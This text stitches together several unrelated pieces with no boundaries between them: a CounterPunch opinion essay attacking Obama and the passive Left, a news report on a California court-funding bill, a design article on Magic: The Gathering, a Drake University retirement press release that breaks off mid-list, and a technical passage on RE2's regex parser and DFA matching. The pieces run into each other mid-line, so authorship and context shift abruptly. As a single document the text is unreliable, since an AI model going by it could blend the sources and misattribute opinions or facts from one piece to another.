It is a bitter reality, brought into vivid focus by five years of Obama, that the Left is an immobilized and politically impotent force at the very moment when the economic inequalities engineered by our overlords at Goldman Sachs who manage the global economy, should have recharged a long-moribund resistance movement back to life.
Instead the Left seems powerless to coalesce, to translate critique into practice, to mobilize against wars, to resist incursions against basic civil liberties, powerless to confront rule by the bondholders and hedgefunders, unable to meaningfully obstruct the cutting edge of a parasitical economic system that glorifies greed while preying on the weakest and most destitute, and incapable of confronting the true legacy of the man they put their trust in.
This is the politics of exhaustion. We have become a generation of leftovers. We have reached a moment of historical failure that would make even Nietzsche shudder.
We stand on the margins, political exiles in our own country, in a kind of mute darkness, a political occlusion, increasingly obsessed, as the radical art historian Tim Clark put it a few years ago in a disturbing essay in New Left Review, with the tragedy of our own defeat.
Consider this. Two-thirds of the American electorate oppose the ongoing war in Afghanistan. An equal amount objected to intervention in Libya. Even more recoil at the grim prospect of entering the Syrian theater.
Yet there is no antiwar movement to translate that seething disillusionment into action. There are no mass demonstrations. No systematic efforts to obstruct military recruiting. No nationwide strikes. No campus walkouts. No serious divestment campaigns against companies involved in drone technology.
Similar popular disgust is evident regarding the imposition of stern austerity measures during a prolonged and enervating recession. But once again this smoldering outrage has no political outlet in the current political climate, where both parties have fully embraced the savage bottom line math of neoliberalism.
Homelessness, rampant across America, is a verboten topic, unmentioned in the press, absent from political discourse. Hunger, a deepening crisis in rural and urban America, is a taboo subject, something left to religious pray-to-eat charities or the fickle whims of corporate write-offs.
What do they offer us, instead? Pious homilies about the work ethic, the sanctity of the family unit, the self-correcting laxative of market forces.
The economic immiseration of black America, brutal and unrelenting, is simply elided, erased from the political dialogue, even at jam sessions of the Congressional Black Caucus. Instead, whenever
Obama mentions the plight of black Americans (about once every two years by my count), as he did in his patronizing commencement addresses this spring, it is to chide blacks about cleaning up their acts, admonishing them to stop complaining about their circumstances and work harder at adopting the flight plan of white corporate culture.
The self-evident need for large-scale public works projects to green the economy and put people to work goes unmentioned, while the press and the politicians engage in a faux debate over the minutia of sequestration and sharpen each others knives to begin slashing Social Security and Medicare. Where’s the collective outrage? Where are the marches on the Capitol? The sit-ins in congressional offices?
A few weeks ago I wrote an essay on the Obama administration’s infamous memo justifying drone strikes inside countries like Pakistan and Yemen that the US is not officially at war against. In one revealing paragraph, a Justice Department lawyer cited Richard Nixon’s illegal bombing of Cambodia during the Vietnam War as a precedent for Obama’s killer drone strikes. Let’s recall that the bombing of Cambodia prompted several high-ranking officials in the Nixon cabinet to resign, including CounterPunch writer Roger Morris. It also sparked the student uprising at Kent State, which lead the Ohio Governor Jim Rhodes to declare a state of emergency, ordering the National Guard to rush the campus. The Guard troops promptly began firing at the protesters, killing four and wounding nine. The war had come home.
Where are those protests today?
The environment is unraveling, thread by thread, right before our eyes. Each day brings more dire news. Amphibians are in stark decline across North America. Storms of unimaginable ferocity are strafing the Great Plains week after week. The Arctic will soon be ice-free. The water table is plummeting in the world’s greatest aquifer. The air is carcinogenic in dozens of California cities. The spotted owl is still going extinct. Wolves are beginning gunned down by the hundreds across the Rocky Mountains. Bees, the great pollinators, are disappearing coast-to-coast, wiped out by chemical agriculture. Hurricane season now lasts from May to December. And about all the environmental movement can offer in resistance are a few designer protests against a pipeline which is already a fait accompli.
Our politics has gone sociopathic and liberals in America have been pliant to every abuse, marinated in the toxic silt of Obama’s mordant rhetoric. They eagerly swallow every placebo policy Obama serves them, dutifully defending every incursion against fundamental rights. And each betrayal only serves to make his adoring retinue crave his smile; his occasional glance and nod all the more urgently. Still others on the dogmatic Left circle endlessly, like characters consigned to their eternal roles by Dante, in the ideological cul-de-sac of identity politics.
How much will we stomach before rising up? A fabricated war, a looted economy, a scalded atmosphere, a despoiled gulf, the loss of habeas corpus, the assassination of American citizens…
One looks in vain across this vast landscape of despair for even the dimmest flickers of real rebellion and popular mutiny, as if surveying a nation of somnambulists.
We remain strangely impassive in the face of our own extinction.
Jeffrey St. Clair is the editor of CounterPunch. His most recent book (with Joshua Frank) is Hopeless: Barack Obama and the Politics of Illusion (AK Press).
This is a condensed version of a talk delivered at the University of Oregon.With a crucial vote looming Monday, a conflict that has shaken California’s judiciary reaches a critical stage when the Assembly considers legislation that would strip control of most of the court system’s purse strings from a central bureaucracy and turn it over to the Legislature and local trial judges.
The yearlong battle over control of the court system’s $3 billion budget reached a boiling point this week as Chief Justice Tani Cantil-Sakauye began a campaign to kill the legislation sponsored by Charles Calderon, D-Whittier, the Assembly’s ranking Democrat.
The Assembly must vote on Monday, otherwise the legislation will die for at least the remainder of this year.
Calderon’s bill, backed by labor groups and a splinter organization of the state’s judges, would largely scrap a 15-year-old state law that centralized court supervision and budget authority among California’s 58 trial courts.
The struggle for power over local court budgets could shape how judges deal with everything from how they pay for legal services for the poor to setting filing fees for lawsuits for years to come.
The legislation exposes a rare public rift within California’s sprawling judiciary, which has been rife with infighting over how hundreds of millions of dollars in budget cuts are being spread through the nation’s largest state court system.
The primary target of critics of the current system has been the Administrative Office of the Courts, the court bureaucracy, and the Judicial Council, chaired by the chief justice and the policy arm of the court system.
The Bay Area’s trial courts are an example of the division.
The presiding judges of 44 of the trial courts signed onto a letter this month opposing the legislation, but there was a mix in the Bay Area.
Santa Clara, Contra Costa, Santa Cruz and Monterey counties signed the letter, but Alameda, San Mateo and San Francisco did not. The latter counties are among those forced to shrink staff dramatically and shorten public hours at clerk’s offices to close budget gaps.
In an interview this week with the Mercury News editorial board, Cantil-Sakauye warned that Calderon’s legislation would be a disaster for most trial courts, producing unfair results for many counties and injecting politics into funding for the judiciary. She noted that Los Angeles Superior Court, which backs the change, would be able to veto important statewide legal programs with scant support from other counties.
“What we lose is uniformity,” the chief justice said. “We abdicate decision making about the policies of the judicial branch, the nonpolitical branch, to the Legislature.”
Calderon, however, said this week the legislation is needed to rein in the power of the administrative office, which the Mercury News reported two years ago has expanded greatly while the rest of the system has been cut.
Calderon called the agency the “tail that wags the dog,” saying the Legislature can allocate the money to the trial courts directly.
“There is huge division in the courts and it won’t go away if the bill dies,” Calderon said.
Although Cantil-Sakauye downplayed such division, there are splits.
Richard Loftus, Santa Clara County’s presiding judge, strongly opposes the legislation, saying it sends the system backward and could jeopardize a new family courthouse project.
But neighboring San Mateo County’s presiding judge, Beth Freeman, said her court supports the shift to give local judges more say in how money is divided. The Judicial Council and administrative office, she said, make statewide decisions on funding that can be disconnected to the needs of individual courts such as San Mateo’s.
Sacramento Superior Court Judge Marianne Gilliard, one of the leaders of the Alliance of California Judges, a group supporting Calderon’s bill, said change is needed because the bureaucracy is “skimming” money from the trial courts for statewide programs such as a billion-dollar technology upgrade.
But Cantil-Sakauye, while conceding “not everything is perfect,” said it would damage the judiciary to hand over so much power to the Legislature.
“All we do is divvy up cuts, we don’t divvy up largesse,” she said.
As for the discontent among some judges and court employees’ unions, she added:
“I dare anyone to show me a public entity (after four years of budget cuts) where the employees or the stakeholders are happy.”
Howard Mintz covers legal affairs. Contact him at 408-286-0236 or follow him at Twitter.com/hmintz.In the midst of the collectible card game craze taking over the social space in the success of Cygames' Rage of Bahamut, Will Luton examines the original collectible card game, Magic the Gathering, and the important lessons it has for today's video game designers.
Magic: The Gathering has undergone a revival lately. The game's current card set, Return to Ravinca, is widely regarded as one of the strongest in its 19-year history, with retailers running low on supplies worldwide.
MTG alone invented and defined the CCG (collectible card game) and its revival -- which coincides with developers racing to build gacha-fusion card battlers in the mold of GREE and DeNA's Japanese hits such as Rage of Bahamut and Doriland -- has made it Hasbro's top IP, as well as the most popular CCG in the U.S.
Richard Garfield designed the game in the early 1990s -- after Wizards of the Coasts rejected his idea for a board game. Although impressed with RoboRally, Wizards wanted something portable and low-setup that could be played in the downtime between other games. Garfield returned with the concept of a CCG, and the game launched under his guidance in August of 1993.
Magic's core concepts are pretty simple: Use land cards to generate mana, use mana to cast spells and summon creatures, then use those to attack and defeat the other player. The complexity, however, comes from the emergent strategy generated by both these base rules and the over ten thousand unique cards that could potentially make up a deck today.
All physical games can inform us, as video game makers, through the insight provided in learning and arbitrating the rules normally hidden by their digital equivalents. However, MTG is able to offer more than most, thanks to its depth in balancing, limited resource control, and variable reinforcement. Alongside what can be gained in design are the lessons in marketing, visual design, and community management.
Magic is a treasure trove of learning, and as a relapsed MTG addict and a designer, I'm going to share with you the top five things we can all gain from its success.
Lesson 1: Emergent Strategy
Chess is a classic of game design due to its emergent strategy. The base rules of the game are relatively simple and uninspiring by today's standards, yet the complexity that arises from the movement and counter-movement between two players is beyond what could be mastered in a lifetime.
The human mind can't comprehend the complexity of cause and effect in chess, so it goes about seeking patterns in order to model and understand it. When the mind uses these models to apply a strategy that generates a win condition, it provides a sense of satisfaction and exhilaration as a reward.
Designing for the sort of emergent strategy found in chess is elusive, if not impossible. You are far are more likely instead to discover it in an early form and then build upon it, as is the case with Magic. Indeed, chess itself has evolved to its current form over 1,500 years.
In Magic, players control creatures that have two stats: "power" and "toughness". When in play, their controllers may assign them to attack and, in response, defend against attacks. This simple rule provides a good deal of MTG's core strategy.
For example: It is player A's turn and they have a "Grizzly Bears" creature on the battlefield, whilst player B has control of two "Spirit" creatures.
Grizzly Bears has a power and a toughness both rated at two (depicted as 2/2), meaning it will deal two damage to a player or any defending creatures, yet will be killed when two damage is inflicted upon it. Meanwhile Spirits have power and toughness each of one (1/1).
Player A declares Grizzly Bears to attack player B. In response player B three options: Do nothing and take the damage from the bear, assign one of the Spirits to defend or assign both Spirits to defend. Below is a matrix of outcomes in each scenario:
Assign no blockers Assign one blocker Assign both blockers Player B loses two life points (10 percent of life total). One Spirit dies. Both Spirits and the Grizzly Bears die.
A player's decision in this situation is likely affected by multiple other factors, including the other cards in play, their hand, their deck, and creature abilities. For example: The Spirits have the ability Flying, so Grizzly Bears (which do not have Flying) cannot block them, meaning they can attack unchecked for two damage next turn.
Also in consideration are the remaining mana and cards in each player's hands, due to the potential to play "tricks". For example: Player A has declared attack with Grizzly Bears and has in hand, unbeknownst to Player B, Giant Growth.
Giant Growth is an instant card that can be played after attackers and blockers are declared, bolstering a target creature's power and toughness by three. With Giant Growth applied to Grizzly Bears, it can do five damage and dies after taking five damage. Below is a matrix of outcomes for this new scenario:
Assign none Assign one Spirit Assign both Spirits Player B loses five life points (25 percent of life total). Spirit dies. Both Spirits die. Grizzly Bears survives.
Player B, however, may have a Cancel card, which would counter Giant Growth and so be played accordingly. Possibly, both players expected to come up against each other's abilities, and built their decks around them with many spells or counterspells.
This second-guessing of a player's actions and card selection is known as the metagame -- a big part of all tournament play. The range of abilities attached to creatures, spells, and lands gives any player thousands of options in any game. Each set, of which there are four per year, usually provides one or more new ability to the game; this creates a constantly shifting landscape for players.
As in chess, building mental models and applying them for success triggers the brain to provide a sense of satisfaction. However, unlike chess, MTG's emergent strategy is somewhat forced by the printing of these sets -- building out the options for a player which the community will find, as a hive mind, the best ones.
Players then build, play, and refine decks over the months as sets are released. The strongest prevail, with supply and demand economics making many rare cards (known as "chase rares") valuable. When another player builds a stronger deck or a combination of cards that defeats the strongest decks, the economics shift.
Magic teaches us to design a game which is basic at its core but gives players a multitude of meaningful options in play, even if that is somewhat forced. This provides a game that has a learning curve -- one that will keep players striving as they discover and apply strategy.Drake University President David Maxwell announced today that he plans to retire on June 30, 2015, capping a 16-year tenure marked by significant improvements in the University’s national stature, academic profile, financial position, and strategic direction.
“David Maxwell’s leadership transformed an already highly respected university into an even more remarkable place to live, work, and study,” said Drake University Board of Trustees Chair Larry Zimpleman, BN ’73, GR ’79. “From my perspective as a trustee, his greatest strength is as a clear-sighted strategist who tackles tough issues head-on, shows remarkable candor, and is able to collaborate with faculty, staff, and administrators to find a clear path forward for the University. As a result of his strategic leadership, Drake has seen significant growth in student enrollment, faculty achievement, philanthropy, and campus amenities during his career.”
Maxwell took office as Drake’s 12th president on May 15, 1999. By the time he steps down next year, he will have served in the role longer than any of his predecessors, with the exceptions of Daniel Morehouse (1922−1941) and Henry Harmon (1941−1964).
“Drake University is a remarkable institution, an institution that lives its values and its mission,” said Maxwell. “It’s a place where very special things happen, where students launch themselves on the path to making their dreams come true with the enthusiastic support and guidance of committed faculty and staff. Maddy and I recognize with great appreciation how truly fortunate we have been to be part of this community for the last 15 years.”
Under Maxwell’s leadership, the University’s endowment has grown from $80 million to $185 million. Maxwell also led to completion a $190-million comprehensive fundraising campaign, Campaign Drake—Think of the Possibilities, and is well on his way to completing Drake’s second campaign under his leadership, the $200 million distinctlyDrake.
“You can’t have a great city without a great university, and President Maxwell has ensured that we have both,” said Bill Knapp, a Drake trustee for nearly 40 years. “He has done a terrific job of reaching out to the business community, of recruiting, and of fundraising. Every step of the way, he’s reminded this community of the vital importance of Drake University.”
During Maxwell’s tenure, the University implemented four strategic plans, constructed and renovated numerous buildings, and significantly increased the number of endowed faculty positions and scholarships.
Over the past 15 years, the University has set records for student applications and enrollment while at the same time raising the overall academic profile of the student body. Annual applications for admission have increased nearly 177 percent to 6,276. The average ACT score of incoming students has increased from 25.3 to 27, and the average high school grade point average has grown from 3.5 to 3.71.
On the academic front, Drake has increased the number of full-time faculty positions by 11 percent since Maxwell arrived. The University has also launched 18 new majors and 13 new minors since 1999. New majors include programs in health sciences; entrepreneurial management; law, politics, and society; and news-internet. The University has also expanded study abroad opportunities, internships, and student research opportunities during that time.
The University has experienced a dramatic expansion of global and international education under Maxwell’s leadership, including the creation of The Principal Financial Group Center for Global Citizenship, the Nelson Institute for Diplomacy and International Affairs, and the vice provost for international programs position. The Center for Global Citizenship has been strengthened with more than $6 million in funding.
Maxwell established a position as a prominent thought leader in academia, serving on the governing boards of the American Council on Education, the Association of American Colleges & Universities, the Council for Higher Education Accreditation, and the National Association of Independent Colleges and Universities. As a member of the executive committee for the Business-Higher Education Forum, Maxwell has worked closely with Fortune 500 CEOs and other prominent college and university presidents to advance innovative education and workforce solutions and improve U.S. competitiveness.
Since arriving at Drake in 1999, Maxwell has continued to publish and present on issues impacting higher education. Articles he has authored or co-authored have appeared in publications including: The Presidency, Inside Higher Ed, The Huffington Post, Peer Review, and Trusteeship. He has also presented or delivered keynote addresses at conferences including those organized by: the American Council on Education, the Council of Colleges of Arts & Sciences, the Council on International Educational Exchange, NAFSA: Association of International Educators, the Association of American Colleges & Universities, the Ford Foundation, the Business-Higher Education Forum, and the Council of Independent Colleges. He has been an invited participant at conferences organized by: the White House, the Secretary of Education, the Secretary of State, and the National Center for Public Policy and Higher Education (co-sponsored by the Bill & Melinda Gates Foundation, and the Lumina Foundation).
Over the next 16 months, Maxwell and the University will focus on meeting strategic plan goals, including: the completion of the distinctlyDrake comprehensive campaign; launch of the STEM@DRAKE project; introduction of new undergraduate, graduate, and professional/executive programs that are currently in development; implementation of a stable and sustainable financial model; and presenting evidence that the University is operating at the highest level of efficiency, effectiveness, and service in its administrative operations
Prior to Drake, Maxwell served as director of the National Foreign Language Center in Washington, D.C., from 1993 to 1999, and as president of Whitman College in Walla Walla, Wash., from 1989 to 1993. He taught Russian language and literature at Tufts University from 1971 to 1989, and served as the university’s dean of undergraduate studies from 1981 to 1989. He is a graduate of Grinnell College and received his M.A. and Ph.D. from Brown University.
David Maxwell is married to Madeleine Mali Maxwell. As the president’s spouse, Maddy has worked tirelessly—essentially as a full-time volunteer—to bring the campus and community together in as many diverse and imaginative ways as possible. She has made the President’s Home a hub of Drake activity; to date, more than 13,000 students, faculty, staff, alumni, members of the community, and visitors from around the world have attended events, both large and small, at their home. She has been and continues to be very active in Des Moines, sharing her enthusiasm and talents with a broad range of nonprofit and community service organizations. In 2009, the Des Moines Business Record named her a Woman of Influence.
The Maxwells have two sons: Justin, a user experience guru in Silicon Valley; and Stephen, a physicist at a national laboratory. They are expecting their first grandchild in May.
Quotes from higher education leaders
“David Maxwell has served Drake University for 15 years with extraordinary skill and dedication to students, faculty, and the wider Des Moines community,” said American Council on Education (ACE) President Molly Corbett Broad. “David’s successor will take the helm of an institution that is strong academically and financially—and well-positioned to educate future generations of students. In addition to his profound impact on Drake, David has provided national leadership to ACE and the entire higher education community with his advocacy efforts on behalf of expanding the pipeline of students who have access to a postsecondary education.”
“David Maxwell has made contributions to higher education in the United States that extend well beyond the confines of a single institution. David’s service to the AAC&U community—through the board of directors, the LEAP Presidents’ Trust, and the LEAP National Leadership Council—has been exemplary,” said Carol Geary Schneider, president of the 1,300-member Association of American Colleges & Universities (AAC&U). “Both practical and visionary, David has provided the kind of forward-thinking, creative, and concerned leadership that higher education needs.”
“In my 21 years representing 1000 private colleges and universities on federal policy matters, I count David Maxwell among the most distinguished presidents in the country,” said David L. Warren, president of the National Association of Colleges and Universities (NAICU). “As a member of the NAICU Board, David has taken the leadership role on policies that protect and improve our institutions. He has been wise in his counsel to the NAICU Board, and adroit in his advocacy efforts to enhance federal student aid, to roll back inappropriate regulations, and to preserve the exempt tax status of independent higher education. Only a very, very few presidents have done so much and so well, for so many. With David’s retirement we will lose a great president of Drake University, but retain a great colleague and friend of private higher education.”
Drake’s Accomplishments During David Maxwell’s Tenure
Leadership:
Implemented four strategic plans
Developed new mission (2001, 2002) and vision statements (2001)
Represented Drake at national summit at White House College Opportunity Summit (2014)
Secured University-wide accreditation (2008)
Effectively lead program review, ultimately leading Drake from a $6.5 million operating deficit to more than a decade of balanced budgets (2000)
Well Workplace Awards from the Wellness Councils of America (Gold, 2009, 2006; Silver, 2006; Bronze, 2000)
“Great Colleges to Work For” designation from The Chronicle of Higher Education (2008, 2009, 2012)
Represented Drake on multiple regional and national boards and associations (* denotes current member) Association of American Colleges and Universities (AAC&U) National Leadership Council for the Liberal Education for America’s Promise (LEAP) Initiative* (AAC&U) American Council on Education National Association of Independent Colleges and Universities* Council for Higher Education Accreditation* Business/Higher Education Forum Executive Committee* Capital Crossroads Implementation Steering Committee* Co-chair, sub-committee on education for human capital committee* Neighborhood Improvement Task Force Conference Board—education associate Council on Economic Development* Council on Foreign Relations—Higher Education Working Group on Global Issues* Des Moines Higher Education Collaborative Downtown Community Alliance* Governor’s Healthiest State Initiative, Co-chair of Life-Long Learning sub-committee* Greater Des Moines Committee* Greater Des Moines Partnership Iowa Association of Independent Colleges and Universities* (served 2 terms as chair) Missouri Valley Conference, chair of Presidents’ Council* Peer Review—editorial board United Way of Central Iowa, 2013 Campaign Cabinet Wells Fargo Bank Iowa/Illinois Community Board*
Maddy Maxwell, spouse of the president, has also lent her talents to a number of nonprofit organizations during David’s tenure, including:
American Heart Association’s Go Red for Women (founding committee)
American Heart Association’s Heart Ball
Animal Rescue League of Iowa’s advisory council
Arthritis Foundation
AViD (Authors Visiting in Des Moines) steering committee
Bras for the Cause board
Des Moines Community Playhouse
Friends of Drake Arts steering committee
Habitat for Humanity’s Women Build
The Homestead board
Iowa Department of Cultural Affairs Celebrate Iowa committee
Positively Iowa 1-2-3
Buildings/Major Renovations:
Alumni House (2014)
Basketball Practice Facility (2014)
Morgan E. Cline Atrium for Pharmacy and Science (2013)
Renovation of Cartwright Hall (2013)
Cowles Library University Archives (2013)
Cowles Library 24-hour study space (2012)
Fred and Patty Turner Jazz Center (2011)
Renovation of Bulldog Theater to Sussman Theater (2012)
Underground Fitness at the Olmsted Center (2012)
Campus Signage and Way-finding (2011−2012)
Renovation of Hubbell North Dinning Hall—the University’s first LEED certified building (2010)
Renovation of Harvey Ingham Lecture Hall (2010)
Converted 28th Street into a sustainable pedestrian walkway (2009)
Drake West Village (2008)
Renovation of the Quads residence halls (2007−2008)
Kraige Newell Interactive Media Lab in Meredith Hall (2007)
Renovation of Cole Hall (2007)
Renovations to Morehouse and Jewett Halls (2006−2007)
Renovation of Olin Hall (2006)
Renovation of Drake Stadium (2005)
Renovation of Pomerantz Student Union (2004)
Helmick Commons (2002)
Academic Programs:
Brought the Tom Harkin Institute for Public Policy and Citizen Engagement to Drake (2013)
Created partnership with Iowa’s Department of Cultural Affairs to archive and display portions of Gov. Robert Ray’s gubernatorial papers (2013)
New academic programs in health sciences, financial management, communications, and entrepreneurial management
New Law School endorsements
New Law School 3+3 programs
Global partnerships – exchange relationships with Germany, China, Austria, Italy, Japan, India, and others
Instituted 3-week January-Term
Philanthropy:
Created a culture of philanthropy at Drake, including the nationally recognized Philanthropy@Drake Week
Grew institutional endowment from $80 million to $185 million
Lead distinctlyDrake, a $200 million comprehensive campaign that has so far secured more than 50 individual gifts of $1 million or more
More than 100 newly created scholarship funds since 2008
More than $25 million since 2008 to enhance teaching and learning, of which approximately $20 million went toward the endowment
$8.8 million in six months for the Basketball Practice Facility (2013)
$15 million in funding for the renovation of Drake Stadium, which has led to the stadium’s selection as site for the NCAA Outdoor Track and Field Championships in 2008, 2011, and 2012, and the USA Outdoor Track & Field Championships in 2010 and 2013 (2005)
Successfully closed $190 million Campaign Drake—Think of the Possibilities (2002)
More than $6 million from multiple donors including $2.5 million from The Principal Financial Group in 2011 to create The Principal Financial Group Center for Global Citizenship (2002)
Attended nearly 2,500 alumni events
Attended over 100 campaign events during the distinctlyDrake campaign
Admission:
Since 1999, applications have grown nearly 177%, from 2,267 to 6,276
Average first year enrollment in the 15 years prior to Maxwell’s tenure was 770; during his tenure it has been 822, including 847 over the last five years
The incoming class ACT average in 1999 was 25.3; last year it was 27
The incoming class high school GPA in 1999 was 3.50; last year it was 3.71
Maxwell has been a prolific speaker for the admission office, having delivered: 150 welcome addresses during Iowa Private College Week 120 welcome addresses at Campus Preview Days and Admitted Student Days 40 addresses at Legacy Breakfasts 30 School Spirit Night addresses at the National Alumni Scholarship competition 30 luncheon addresses at the National Alumni Scholarship competition
Awards:
National Association of Student Personnel Administrators Region IV President
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is the variety of ways that real users write the same regular expression. For example, it is common to see singleton character classes used instead of escaping— [.] instead of \. —or alternations instead of character classes— a|b|c|d instead of [a-d]. The parser takes special care to use the most efficient form for these, so that [.] is still a single literal character and a|b|c|d is still a character class. It applies these simplifications during parsing, rather than in a second pass, to avoid a larger-than-necessary intermediate memory footprint.
Walking a Regexp
Having parsed the regular expression, it is now time to process it. The parsed form is a standard tree, which suggests processing it with standard recursive traversals. Unfortunately, we cannot assume that there is enough stack to do that. Some devious user might present us with a regular expression like ((((((((((a*)*)*)*)*)*)*)*)*)*)* (but bigger) and cause a stack overflow. Instead, the traversal of the regular expression must use an explicit stack. The Walker template hides the stack management, making this restriction a little more palatable.
In retrospect, I think the tree form and the Walker might have been a mistake. If recursion is not allowed (as is the case here), it might work better to avoid the recursive representation entirely, instead storing the parsed regular expression in reverse Polish notation as in Thompson's 1968 paper and this example code. If the RPN form recorded the maximum stack depth used in the expression, a traversal would allocate a stack of exactly that size and then zip through the representation in a single linear scan.
Step 2: Simplify
The next processing step is simplification, which rewrites complex operators into simpler ones to make later processing easier. Over time, most of the code in RE2's simplification pass moved into the parser, because simplifying eagerly keeps the intermediate memory footprint down. Today there is only one task left for the simplifier: the expansion of counted repetitions like x{2,5} into a sequence of basic operations like xx(x(x(x)?)?)?.
Step 3: Compile
Once the regular expression uses only the basic operations described in the first article, it can be compiled using the techniques outlined there. It should be easy to see the correspondence.
The RE2 compiler has one interesting twist, which I learned from Thompson's grep. It compiles UTF-8 character classes down to an automaton that reads the input one byte at a time. In other words, the UTF-8 decoding is built into the automaton. For example, to match any Unicode code point from 0000 to FFFF (hexadecimal), the automaton accepts any of the following byte sequences:
[00-7F] // code points 0000-007F [C2-DF][80-BF] // code points 0080-07FF [E0][A0-BF][80-BF] // code points 0800-0FFF [E1-EF][80-BF][80-BF] // code points 1000-FFFF
The compiled form is not just the alternation of those sequences: common suffixes like the [80-BF] can be factored out. The actual compiled form for this example is:
The example above has the advantage of being fairly regular. Here is the full Unicode range, 000000-10FFFF:
Larger, but still regular. The real irregularities come from character classes that have evolved over the course of Unicode's history. For example, here is \p{Sc}, the currency symbol code points:
The currency symbols are about as complex as will fit in this article, but other classes are much more complex; for example, look at \p{Greek} (the Greek script) or at \p{Lu} (the uppercase letters).
The result of compilation is an instruction graph like in the last two articles. The representation is closer to the graph in the first but when printed looks like the VM programs in the second.
Compiling out the UTF-8 makes the compiler a little more complicated but makes the matching engines much faster: they can process one byte at a time in tight loops. Also, there turn out to be many matchers; having just one copy of the UTF-8 processing helps keep the code correct.
Step 4: Match
Everything described until now happens in RE2's constructor. After the object is constructed, it can be used in a sequence of match operations. From the user's point of view, there are just two match functions: RE2::PartialMatch, which finds the first match in the input text, and RE2::FullMatch, which requires the match to cover the entire input. From RE2's point of view, though, there are many different questions that can be asked using them, and the implementation adapts to the question. RE2 distinguishes four basic regular expression matching problems:
Does the regular expression match the whole string? RE2::FullMatch(s, "re") RE2::PartialMatch(s, "^re$") Does the regular expression match a substring of the string? RE2::PartialMatch(s, "re") Does the regular expression match a substring of the string? If so, where? RE2::PartialMatch(s, "(re)", &match) Does the regular expression match a substring of the string? If so, where? Where are the submatches? RE2::PartialMatch(s, "(r+)(e+)", &m1, &m2)
Clearly each is a special case of the next. From the user's point of view, it makes sense to provide just the fourth, but the implementation distinguishes them because it can implement the earlier questions much more efficiently than the later ones.
Does the regexp match the whole string?
RE2::FullMatch(s, "re") RE2::PartialMatch(s, "^re$")
This is the question we considered in the first article. In that article we saw that a simple DFA, built on the fly, outperformed all but the other DFA implementations. RE2 uses a DFA for this question too, but the DFA is more memory efficient and more thread-friendly. It employs two important refinements.
Be able to flush the DFA cache. A carefully chosen regular expression and input text might cause the DFA to create a new state for every byte of the input. On large inputs, those states pile up fast. The RE2 DFA treats its states as a cache; if the cache fills, the DFA frees them all and starts over. This lets the DFA operate in a fixed amount of memory despite considering an arbitrary number of states during the course of the match.
Don't store state in the compiled program. The DFA in the first article used a simple sequence number field in the compiled program to keep track of whether a state appeared on a particular list ( s->lastlist and listid ). That tracking made it possible to do list insertion with duplicate elimination in constant time. In a multithreaded program, it would be convenient to share a single RE2 object among multiple threads, which rules out the sequence number technique. But we definitely want list insertion with duplicate elimination in constant time. Luckily, there is a data structure designed exactly for this situation: sparse sets. RE2 implements these in the SparseArray template. (See “Using Uninitialized Memory for Fun and Profit” for an overview of the idea.)
Does the regexp match a substring of the string?
RE2::PartialMatch(s, "re")
The last question asked whether the regexp matched the entire string; this one asks whether it matches anywhere in the string. We could reduce this question to the last one by rewriting re into.*re.*, but we can do better by rewriting it to.*re and handling the trailing part separately.
Look for a literal first byte. The DFA or the compiled program form can be analyzed to determine whether every possible match starts with the same first byte, like when searching for (research|random). In this case, when the DFA is looking to start a new match, it can avoid the general DFA loop and look for the first byte using memchr, which is often implemented using special hardware instructions.
Bail out early. If the question being asked is whether there is a partial match (e.g., is there a match for ab+ in ccccabbbbddd?), the DFA can stop early, once it finds ab. By changing the DFA loop to check for a match after every byte, it can stop as soon as there is any match, even if it's not the longest one. Remember that the caller only cares whether there is a match, not what it is, so it's okay for the DFA not to look for the longest one.
This sounds like a slightly different DFA than the one used for the last question, and it is. The DFA code is written as a single generalized loop that looks at flags controlling its behavior, like whether there is a literal first byte to look for or whether to stop as early as possible. In 2008, when I wrote the DFA code, it was too slow to check the flags in the inner loop. Instead, the InlinedSearchLoop function takes three boolean flags and then is specialized by calling it from eight different functions using all the combinations. When a call must be made, it is to one of the eight specialized functions rather than the original. In 2008, this trick created eight different copies of the search loop, each with a tight inner loop optimized for its particular case. I noticed recently that the latest version of g++ refuses to inline InlinedSearchLoop because it is such a large function, so there are no longer eight different copies in the program. It would be possible to reintroduce the eight copies by making InlinedSearchLoop a templated function, but it appears not to matter anymore: I tried that and the specialized code wasn't any faster.
Does the regexp match a substring of the string? If so, where?
RE2::PartialMatch(s, "(re)", &match)
The caller grows more demanding. Now it wants to know where the match is but still doesn't care about submatch boundaries. We could fall back to the direct NFA simulation, but that carries with it a significant speed penalty compared to the NFA. Instead, with a bit more effort we can squeeze this information out of the DFA.
Find the exact endpoint. Standard presentations of a DFA treat each state as representing an unordered set of NFA states. If instead we treat the DFA state as a partially ordered set of NFA states, we can track which possibilities take priority over others, so that the DFA can identify the exact place where the match stops.
In POSIX rules, states corresponding to matches beginning earlier in the input take priority over states corresponding to a later start. For example, instead of the DFA state representing five NFA states {1,2,3,4,5} it might represent {1,4}{2,3,5} : a match arising from states 1 or 4 is preferred over a match from state 2, 3, or 5. That takes care of the “leftmost” part of “leftmost longest.” To implement the “longest” requirement, each time a match is found in a particular state, the DFA records it and continues executing only those states that are of equal or higher priority. Once the DFA runs out of states, the last recorded match position is the end of the leftmost longest match.
In Perl-style rules, the “leftmost” semantics are handled the same, but Perl doesn't take the longest of the leftmost matches. Instead, the state lists are completely ordered: no two states have equal priority. In an alternation a|b the states exploring a have higher priortiy than the states exploring b. A repetition x* is like a looping alternation that keeps deciding between looking for another x and matching the rest of the expression. Each alternation gives higher priority to looking for another x. Pictorally, both are Split nodes as in the first article:
The split gives higher priority to the path leaving out the top. A non-greedy repetition is just a greedy repetition with the priorities reversed.
To find the end of a Perl match, each time a match is found in a particular state, the DFA records it but continues executing only those states of higher priority. Once it runs out of states, the last position it recorded is necessarily the end of the highest priority match.
That's great: now we know where the match ends. But the caller wants to know where the match starts too. How do we do that?
Run the DFA backward to find the start. When studying regular expressions in a theory of computation class, a standard exercise is to prove that if you take a regular expression and reverse all the concatenations (e.g., [Gg]oo+gle becomes elgo+o[Gg] ) then you end up with a regular expression that matches the reversal of any string that the original matched. In such classes, not many of the exercises involving regular expressions and automata have practical value, but this one does! DFAs only report where a match ends, but if we run the DFA backward over the text, what the DFA sees as the end of the match will actually be the beginning. Because we're reversing the input, we have to reverse the regular expression too, by reversing all the concatenations during compilation.
After compiling a reversed regular expression, we run the DFA backward from the end point found by the forward scan, treating all states as equivalent priority and looking for the longest possible end point. That's the leftmost point in the string where a match could have begun, and since we were careful in the previous step to choose the end of a leftmost match, it's the beginning.
Does this regexp match this string? If so, where? Where are the submatches?
RE2::PartialMatch(s, "(r+)(e+)", &m1, &m2)
This is the hardest question the caller could ask.
